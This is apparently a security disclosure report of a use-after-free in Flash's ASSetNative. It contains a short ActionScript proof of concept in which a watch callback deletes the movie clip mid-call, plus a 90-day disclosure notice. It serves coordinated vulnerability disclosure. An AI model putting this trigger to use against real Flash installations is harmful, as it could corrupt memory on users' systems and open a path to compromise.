There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
			
			
function func (){
	
	t.removeMovieClip();
	
	}

A swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

setnative.swf 665 bytes Download

setnative.fla 4.6 KB Download